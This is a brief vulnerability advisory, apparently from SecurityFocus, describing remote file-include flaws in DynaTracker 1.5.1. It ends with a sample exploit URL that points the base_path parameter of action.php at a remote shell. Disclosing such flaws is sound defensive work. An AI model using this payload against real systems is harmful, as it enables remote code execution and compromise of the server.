source: http://www.securityfocus.com/bid/23667/info
 
DynaTracker is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/DynaTracker_v151/action.php?base_path=http://shell